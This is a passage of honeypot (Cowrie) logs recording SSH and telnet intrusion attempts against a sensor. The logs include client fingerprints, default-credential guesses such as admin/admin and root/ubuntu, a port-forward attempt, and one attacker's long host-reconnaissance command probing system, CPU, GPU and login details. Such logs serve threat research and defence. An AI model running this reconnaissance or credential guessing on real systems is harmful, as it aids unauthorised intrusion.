2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:01:01.135775Z","src_ip":"91.92.40.176","session":"811b61568cc9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:01:01.139816Z","src_ip":"91.92.40.176","session":"811b61568cc9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:01:01.143072Z","src_ip":"91.92.40.176","session":"811b61568cc9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:01:01.146601Z","src_ip":"91.92.40.176","session":"811b61568cc9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:01:01.150606Z","src_ip":"91.92.40.176","session":"811b61568cc9","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:01:01.153528Z","src_ip":"91.92.40.176","session":"811b61568cc9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:01:01.156345Z","src_ip":"91.92.40.176","session":"811b61568cc9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:01:01.159921Z","src_ip":"91.92.40.176","session":"811b61568cc9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:01:01.169946Z","src_ip":"91.92.40.176","session":"811b61568cc9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:01:01.173880Z","src_ip":"91.92.40.176","session":"811b61568cc9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:01:01.269606Z","src_ip":"91.92.40.176","session":"811b61568cc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:01:01.356555Z","src_ip":"91.92.40.176","session":"811b61568cc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":53216,"dst_ip":"10.17.0.5","dst_port":22,"session":"add3f55fb7a4","protocol":"ssh","message":"New connection: 91.92.40.10:53216 (10.17.0.5:22) [session: add3f55fb7a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:01:54.254126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:01:54.804494Z","src_ip":"91.92.40.10","session":"add3f55fb7a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:01:54.807523Z","src_ip":"91.92.40.10","session":"add3f55fb7a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:01:55.765643Z","src_ip":"91.92.40.10","session":"add3f55fb7a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:01:56.882221Z","src_ip":"91.92.40.10","session":"add3f55fb7a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.147","src_port":29454,"dst_ip":"10.17.0.5","dst_port":22,"session":"90d6059f986f","protocol":"ssh","message":"New connection: 45.148.10.147:29454 (10.17.0.5:22) [session: 90d6059f986f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:07.074367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:07.078305Z","src_ip":"45.148.10.147","session":"90d6059f986f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:07.166011Z","src_ip":"45.148.10.147","session":"90d6059f986f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:07.539750Z","src_ip":"45.148.10.147","session":"90d6059f986f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":97.80060815811157,"message":"Connection lost after 97 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:11.927277Z","src_ip":"170.64.224.25","session":"97e75d379759","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.249.8","src_port":59074,"dst_ip":"10.17.0.5","dst_port":22,"session":"13df4da836b9","protocol":"ssh","message":"New connection: 162.144.249.8:59074 (10.17.0.5:22) [session: 13df4da836b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:14.368205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:14.372325Z","src_ip":"162.144.249.8","session":"13df4da836b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:14.399236Z","src_ip":"162.144.249.8","session":"13df4da836b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hedera","password":"hedera2024","message":"login attempt [hedera/hedera2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:14.486092Z","src_ip":"162.144.249.8","session":"13df4da836b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:15.516258Z","src_ip":"162.144.249.8","session":"13df4da836b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":63270,"dst_ip":"10.17.0.5","dst_port":22,"session":"701b414ceda5","protocol":"ssh","message":"New connection: 176.53.159.196:63270 (10.17.0.5:22) [session: 701b414ceda5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:24.481981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:24.485419Z","src_ip":"176.53.159.196","session":"701b414ceda5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:24.585131Z","src_ip":"176.53.159.196","session":"701b414ceda5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:24.875777Z","src_ip":"176.53.159.196","session":"701b414ceda5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:24.974256Z","session":"701b414ceda5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:25.071807Z","src_ip":"176.53.159.196","session":"701b414ceda5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:25.171189Z","src_ip":"176.53.159.196","session":"701b414ceda5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":47950,"dst_ip":"159.203.135.109","dst_port":23,"session":"52b828265453","protocol":"telnet","message":"New connection: 107.6.151.170:47950 (159.203.135.109:23) [session: 52b828265453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:29.754578Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":43672,"dst_ip":"159.203.135.109","dst_port":23,"session":"df2b966dd626","protocol":"telnet","message":"New connection: 107.6.151.170:43672 (159.203.135.109:23) [session: df2b966dd626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:31.745960Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.96.201.126","src_port":35178,"dst_ip":"10.17.0.5","dst_port":22,"session":"978feeb45ad8","protocol":"ssh","message":"New connection: 101.96.201.126:35178 (10.17.0.5:22) [session: 978feeb45ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:51.402199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:51.404868Z","src_ip":"101.96.201.126","session":"978feeb45ad8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:51.642802Z","src_ip":"101.96.201.126","session":"978feeb45ad8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:53.676675Z","src_ip":"101.96.201.126","session":"978feeb45ad8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:54.917925Z","src_ip":"101.96.201.126","session":"978feeb45ad8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.96.201.126","src_port":35184,"dst_ip":"10.17.0.5","dst_port":22,"session":"936560710177","protocol":"ssh","message":"New connection: 101.96.201.126:35184 (10.17.0.5:22) [session: 936560710177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:55.144061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:55.147564Z","src_ip":"101.96.201.126","session":"936560710177","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 